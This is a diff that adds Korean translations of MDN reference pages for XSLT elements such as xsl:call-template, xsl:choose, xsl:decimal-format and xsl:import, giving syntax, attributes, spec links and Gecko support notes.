+translation_of: Web/XSLT/Element/call-template
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:call-template&gt;</code> 요소는 이름 붙인 템플릿을 호출합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:call-template name=NAME&gt;
+	&lt;xsl:with-param&gt; [optional]
+&lt;/xsl:call-template&gt; </pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+  <code>name</code></dt>
+ <dd>
+  호출하고 싶은 템플릿의 이름을 지정합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#named-templates">XSLT section 6, Named Templates</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
+<p>{{ languages( { "en": "en/XSLT/call-template" } ) }}</p>
diff --git a/files/ko/web/xslt/choose/index.html b/files/ko/web/xslt/choose/index.html
new file mode 100644
index 0000000000..ea615e7e15
--- /dev/null
+++ b/files/ko/web/xslt/choose/index.html
@@ -0,0 +1,24 @@
+---
+title: choose
+slug: Web/XSLT/choose
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/choose
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:choose&gt;</code> 요소는 많은 선택 가운데 하나를 정의합니다. 그리고 절차형 언어(procedural language)의 스위치 문처럼 동작합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:choose&gt;
+	&lt;xsl:when&gt;
+	&lt;xsl:otherwise&gt; [optional]
+&lt;/&lt;xsl:choose&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿과 함께 나타남. 하나 이상의 <code>&lt;xsl:when&gt;</code> 요소를 포함하고 선택에 따라 마지막에 <code>&lt;xsl:otherwise&gt;</code> 요소를 포함합니다.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Conditional-Processing-with-xsl:choose">XSLT section 9.2, Conditional Processing with xsl:choose</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/comment/index.html b/files/ko/web/xslt/comment/index.html
new file mode 100644
index 0000000000..56b12a9968
--- /dev/null
+++ b/files/ko/web/xslt/comment/index.html
@@ -0,0 +1,23 @@
+---
+title: comment
+slug: Web/XSLT/comment
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/comment
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:comment&gt;</code> 요소는 출력 문서에 주석을 작성합니다. 오직 텍스트만 포함해야 합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:comment&gt;
+	TEMPLATE
+&lt;/xsl:comment&gt; </pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿과 함께 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Creating-Comments">XSLT section 7.4, Creating Comments</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/copy-of/index.html b/files/ko/web/xslt/copy-of/index.html
new file mode 100644
index 0000000000..cfd00ae443
--- /dev/null
+++ b/files/ko/web/xslt/copy-of/index.html
@@ -0,0 +1,26 @@
+---
+title: copy-of
+slug: Web/XSLT/copy-of
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/copy-of
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:copy-of&gt;</code> 요소는 select 속성이 출력 문서에 무엇을 지정하든지 (자손 노드를 포함하여) 깊게 복사(deep copy)합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:copy-of select=EXPRESSION /&gt; </pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+  <code>select</code></dt>
+ <dd>
+  복사할 대상을 지정하는 XPath 식을 씁니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#copy-of">XSLT section 11.3, Using Values of Variables and Parameters with xsl:copy-of</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/copy/index.html b/files/ko/web/xslt/copy/index.html
new file mode 100644
index 0000000000..7d6e480167
--- /dev/null
+++ b/files/ko/web/xslt/copy/index.html
@@ -0,0 +1,28 @@
+---
+title: copy
+slug: Web/XSLT/copy
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/copy
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:copy&gt;</code> 요소는 출력 문서에 현재 노드의 노드와 어떤 관련 이름공간 노드만을 얕게 복사(shallow copy) 전달합니다. 속성이나 자식은 복사하지 않습니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:copy use-attribute-sets=LIST-OF-NAMES&gt;
+	TEMPLATE
+&lt;/xsl:copy&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+  <code>use-attribute-sets</code></dt>
+ <dd>
+  요소이면, 출력 노드에 적용해도 좋을 속성 집합을 나열합니다. 집합의 이름은 공백 문자로 구분해야 합니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#copying">XSLT section 7.5, Copying</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/decimal-format/index.html b/files/ko/web/xslt/decimal-format/index.html
new file mode 100644
index 0000000000..83e51a2e90
--- /dev/null
+++ b/files/ko/web/xslt/decimal-format/index.html
@@ -0,0 +1,100 @@
+---
+title: decimal-format
+slug: Web/XSLT/decimal-format
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/decimal-format
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:decimal-format&gt;</code> 요소는
+ <i>
+  <code>format-number( )</code></i>
+ 함수를 써서 숫자를 문자열로 바꿀 때 쓰는 기호와 문자를 정의합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:decimal-format
+	name=NAME
+	decimal-separator=CHARACTER
+	grouping-separator=CHARACTER
+	infinity=STRING
+	minus-sign=CHARACTER
+	NaN=STRING
+	percent=CHARACTER
+	per-mille=CHARATER
+	zero-digit=CHARACTER
+	digit=CHARACTER
+	pattern-separator=CHARACTER /&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+  <code>name</code></dt>
+ <dd>
+  이 형식에 이름을 지정합니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>decimal-separator</code></dt>
+ <dd>
+  소숫점 문자를 지정합니다. 기본값은 (<code>.</code>)입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>grouping-separator</code></dt>
+ <dd>
+  그룹 구분 문자를 지정합니다. 기본값은 (<code>,</code>)입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>infinity</code></dt>
+ <dd>
+  무한대(infinity)를 나타내는데 쓰는 문자열을 지정합니다. 기본값은 "<code>Infinity</code>" 문자열입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>minus-sign</code></dt>
+ <dd>
+  빼기 기호 문자를 지정합니다. 기본값은 (<code>-</code>)입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>NaN</code></dt>
+ <dd>
+  값이 숫자가 아닐 때 쓰는 문자열을 지정합니다. 기본값은 "<code>NaN</code>" 문자열입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>percent</code></dt>
+ <dd>
+  백분율(percentage) 기호 문자를 지정합니다. 기본값은 (<code>%</code>)입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>per-mille</code></dt>
+ <dd>
+  천분율(per thousand) 문자를 지정합니다. 기본값은 (<code>‰</code>)입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>zero-digit</code></dt>
+ <dd>
+  숫자 0으로 쓸 문자를 지정합니다. 기본값은 (<code>0</code>)입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>digit</code></dt>
+ <dd>
+  형식 패턴에서 숫자(digit)를 나타내는데 쓰는 문자를 지정합니다. 기본값은 (<code>#</code>)입니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>pattern-separator</code></dt>
+ <dd>
+  형식 패턴에서 양수와 음수 부분패턴을 구분하는 문자를 지정합니다. 기본값은 (<code>;</code>)입니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위, <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식이어야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#format-number">XSLT section 12.3, Number Formatting</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>Mozilla 1.0과 Netscape 7.0 현재 지원함.</p>
diff --git a/files/ko/web/xslt/element/element/index.html b/files/ko/web/xslt/element/element/index.html
new file mode 100644
index 0000000000..1087cb1660
--- /dev/null
+++ b/files/ko/web/xslt/element/element/index.html
@@ -0,0 +1,37 @@
+---
+title: element
+slug: Web/XSLT/Element/element
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/element
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:element&gt;</code> 요소는 출력 문서에 요소를 만듭니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:element name=NAME namespace=URI use-attribute-sets=LIST-OF-NAMES &gt;
+	TEMPLATE
+&lt;/xsl:template&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+  <code>name</code></dt>
+ <dd>
+  출력 요소에 바라는 이름을 지정합니다. 이름은 유효한 QName이어야 합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+  <code>namespace</code></dt>
+ <dd>
+  출력 요소에 이름공간을 지정합니다.</dd>
+ <dt>
+  <code>use-attribute-sets</code></dt>
+ <dd>
+  출력 요소에 쓸 이름 붙인 속성 집합을 나열합니다. 이름은 공백 문자로 구분해야 합니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Creating-Elements-with-xsl:element">XSLT section 7.1.2, Creating Elements with xsl:element</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/element/index.html b/files/ko/web/xslt/element/index.html
new file mode 100644
index 0000000000..76af8973dd
--- /dev/null
+++ b/files/ko/web/xslt/element/index.html
@@ -0,0 +1,76 @@
+---
+title: Elements
+slug: Web/XSLT/Element
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element
+---
+<p>{{ XsltRef() }} 여기에서 다루는 요소의 두 타입은 최상위 요소와 명령(instruction)입니다. 최상위 요소는 <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식으로 나타나야 합니다. 이에 반해, 명령은 템플릿과 관련이 있습니다. 스타일시트는 여러 템플릿을 포함할지도 모릅니다. 여기서 다루지 않는 세 번째 타입의 요소는 LRE(literal result element)입니다. LRE 또한 템플릿에 나타납니다. LRE는 예를 들어, HTML 변환 스타일시트 안의 <code>&lt;hr&gt;</code> 요소처럼 결과 문서에 복사되는게 좋은 어떤 비명령 요소로 이루어져 있습니다.</p>
+<p>관련 기록에 따르면, LRE의 어떤 속성과 한정된 수의 XSLT 요소의 속성도 속성값 템플릿으로 알려진 것을 또한 포함할 수 있습니다. 속성값 템플릿은 단순히 속성값 지정에 쓰이는 임베드된 XPath 식을 포함하는 문자열입니다. 실행할 때 식을 평가하고 평가 결과는 XPath 식으로 바꾸어 놓습니다. 예를 들어, "&lt;tt&gt;image-dir&lt;/tt&gt;" 변수를 다음처럼 정의했다고 하면,</p>
+<pre>&lt;xsl:variable name="image-dir"&gt;/images&lt;/xsl:variable&gt;</pre>
+<p>평가된 식은 중괄호 안에 놓입니다.</p>
+<pre>&lt;img src="{$image-dir}/mygraphic.jpg"/&gt;</pre>
+<p>이는 다음과 같은 결론에 다다릅니다.</p>
+<pre>&lt;img src="/images/mygraphic.jpg"/&gt;</pre>
+<p>뒤따르는 요소 주석은 설명과 문법 나열, 필수 속성과 선택 속성 목록, 타입과 자리 설명, W3C 권고안 속 요소 소스와 현 Gecko의 지원 정도에 대한 설명을 포함합니다.</p>
+<ul>
+ <li><a href="ko/XSLT/apply-imports">xsl:apply-imports</a></li>
+ <li><a href="ko/XSLT/apply-templates">xsl:apply-templates</a></li>
+ <li><a href="ko/XSLT/attribute">xsl:attribute</a></li>
+ <li><a href="ko/XSLT/attribute-set">xsl:attribute-set</a></li>
+ <li><a href="ko/XSLT/call-template">xsl:call-template</a></li>
+ <li><a href="ko/XSLT/choose">xsl:choose</a></li>
+ <li><a href="ko/XSLT/comment">xsl:comment</a></li>
+ <li><a href="ko/XSLT/copy">xsl:copy</a></li>
+ <li><a href="ko/XSLT/copy-of">xsl:copy-of</a></li>
+ <li><a href="ko/XSLT/decimal-format">xsl:decimal-format</a></li>
+ <li><a href="ko/XSLT/element">xsl:element</a></li>
+ <li><a href="ko/XSLT/fallback">xsl:fallback</a>
+  <i>
+   (지원 안 함)</i>
+ </li>
+ <li><a href="ko/XSLT/for-each">xsl:for-each</a></li>
+ <li><a href="ko/XSLT/if">xsl:if</a></li>
+ <li><a href="ko/XSLT/import">xsl:import</a>
+  <i>
+   (대부분 지원)</i>
+ </li>
+ <li><a href="ko/XSLT/include">xsl:include</a></li>
+ <li><a href="ko/XSLT/key">xsl:key</a></li>
+ <li><a href="ko/XSLT/message">xsl:message</a></li>
+ <li><a href="ko/XSLT/namespace-alias">xsl:namespace-alias</a>
+  <i>
+   (지원 안 함)</i>
+ </li>
+ <li><a href="ko/XSLT/number">xsl:number</a>
+  <i>
+   (부분 지원)</i>
+ </li>
+ <li><a href="ko/XSLT/otherwise">xsl:otherwise</a></li>
+ <li><a href="ko/XSLT/output">xsl:output</a>
+  <i>
+   (부분 지원)</i>
+ </li>
+ <li><a href="ko/XSLT/param">xsl:param</a></li>
+ <li><a href="ko/XSLT/preserve-space">xsl:preserve-space</a></li>
+ <li><a href="ko/XSLT/processing-instruction">xsl:processing-instruction</a></li>
+ <li><a href="ko/XSLT/sort">xsl:sort</a></li>
+ <li><a href="ko/XSLT/strip-space">xsl:strip-space</a></li>
+ <li><a href="ko/XSLT/stylesheet">xsl:stylesheet</a>
+  <i>
+   (부분 지원)</i>
+ </li>
+ <li><a href="ko/XSLT/template">xsl:template</a></li>
+ <li><a href="ko/XSLT/text">xsl:text</a>
+  <i>
+   (부분 지원)</i>
+ </li>
+ <li><a href="ko/XSLT/transform">xsl:transform</a></li>
+ <li><a href="ko/XSLT/value-of">xsl:value-of</a>
+  <i>
+   (부분 지원)</i>
+ </li>
+ <li><a href="ko/XSLT/variable">xsl:variable</a></li>
+ <li><a href="ko/XSLT/when">xsl:when</a></li>
+ <li><a href="ko/XSLT/with-param">xsl:with-param</a></li>
+</ul>
diff --git a/files/ko/web/xslt/fallback/index.html b/files/ko/web/xslt/fallback/index.html
new file mode 100644
index 0000000000..af407f4512
--- /dev/null
+++ b/files/ko/web/xslt/fallback/index.html
@@ -0,0 +1,23 @@
+---
+title: fallback
+slug: Web/XSLT/fallback
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/fallback
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:fallback&gt;</code> 요소는 주어진 확장(이나 결국에는 새 버전) 요소에서 지원하지 않으면 쓸 템플릿을 지정합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:fallback&gt;
+	TEMPLATE
+&lt;/xsl:fallback&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#fallback">XSLT section 15, Fallback</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>이번에 지원 안 함.</p>
diff --git a/files/ko/web/xslt/for-each/index.html b/files/ko/web/xslt/for-each/index.html
new file mode 100644
index 0000000000..6beb713190
--- /dev/null
+++ b/files/ko/web/xslt/for-each/index.html
@@ -0,0 +1,29 @@
+---
+title: for-each
+slug: Web/XSLT/for-each
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/for-each
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:for-each&gt;</code> 요소는 노드 집합을 선택하고 같은 방식으로 각 노드를 처리합니다. 노드 집합을 되풀이하(iterate)거나 현재 노드를 바꾸는데 자주 씁니다. 하나 이상의 <code>&lt;xsl:sort&gt;</code> 요소가 이 요소의 자식으로 나타나면, 처리에 앞서 정렬을 합니다. 그렇지 않으면, 노드는 문서 순으로 처리합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:for-each select=EXPRESSION&gt;
+	&lt;xsl:sort&gt; [optional]
+	TEMPLATE
+&lt;/xsl:for-each&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+  <code>select</code></dt>
+ <dd>
+  처리할 노드를 선택하기 위해 XPath 식을 씁니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#for-each">XSLT section 8, Repetition</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/if/index.html b/files/ko/web/xslt/if/index.html
new file mode 100644
index 0000000000..2c56b7d218
--- /dev/null
+++ b/files/ko/web/xslt/if/index.html
@@ -0,0 +1,28 @@
+---
+title: if
+slug: Web/XSLT/if
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/if
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:if&gt;</code> 요소는 test 속성과 템플릿을 포함합니다. test 속성을 참으로 평가하면, 템플릿을 처리합니다. 이것은 다른 언어의 if 문과 비슷합니다. 그러나, &lt;tt&gt;if-then-else&lt;/tt&gt; 문의 기능을 다하기 위해 <code>&lt;xsl:when&gt;</code>과 <code>&lt;xsl:otherwise&gt;</code> 자식이 하나씩 있는 <code>&lt;xsl:choose&gt;</code> 요소를 씁니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:if test=EXPRESSION&gt;
+	TEMPLATE
+&lt;/xsl:if&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+  <code>test</code></dt>
+ <dd>
+  Boolean 값으로 (필요하다면 <code>boolean( )</code>으로 정의한 규칙을 써서) 평가할 수 있는 XPath 식을 포함합니다. 값이 참이면 템플릿을 처리하고 거짓이면 아무 동작도 하지 않습니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Conditional-Processing-with-xsl:if">XSLT section 9.1, Conditional Processing with xsl:if</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/import/index.html b/files/ko/web/xslt/import/index.html
new file mode 100644
index 0000000000..5a469656cb
--- /dev/null
+++ b/files/ko/web/xslt/import/index.html
@@ -0,0 +1,26 @@
+---
+title: import
+slug: Web/XSLT/import
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/import
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:import&gt;</code> 요소는 한 스타일시트의 컨텐트를 다른 스타일시트로 가져오는 역할을 하는 최상위 요소입니다. 대체로, 가져올 스타일시트의 컨텐트는 가져오는 스타일시트의 컨텐트보다 가져오기 우선순위가 낮습니다. 이는 포함되는 스타일시트의 컨텐트가 포함하는 스타일시트의 컨텐트와 우선순위가 정확히 같은 <code>&lt;xsl:include&gt;</code>와는 뚜렷이 다릅니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:import href=URI  /&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+  <code>href</code></dt>
+ <dd>
+  가져올 스타일시트의 URI를 지정합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위, 가져오는 스타일시트 안 <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식 가운데 가장 앞에 나타나야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#import">XSLT section 2.6.2, Stylesheet Import</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>Mozilla 1.0 현재 최상위 변수와 매개변수에 문제가 조금 있지만 대부분 지원함.</p>
diff --git a/files/ko/web/xslt/include/index.html b/files/ko/web/xslt/include/index.html
new file mode 100644
index 0000000000..965d03a15f
--- /dev/null
+++ b/files/ko/web/xslt/include/index.html
@@ -0,0 +1,26 @@
+---
+title: include
+slug: Web/XSLT/include
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/include
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:include&gt;</code> 요소는 한 스타일시트의 컨텐트를 다른 스타일시트에 합칩니다. <code>&lt;xsl:import&gt;</code>와는 달리, 포함되는 스타일시트의 컨텐트는 포함하는 스타일시트의 컨텐트와 우선순위가 정확히 같습니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:include href=URI /&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+  <code>href</code></dt>
+ <dd>
+  포함할 스타일시트의 URI를 지정합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위, <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식으로 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#include">XSLT section 2.6.1, Stylesheet Inclusion</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
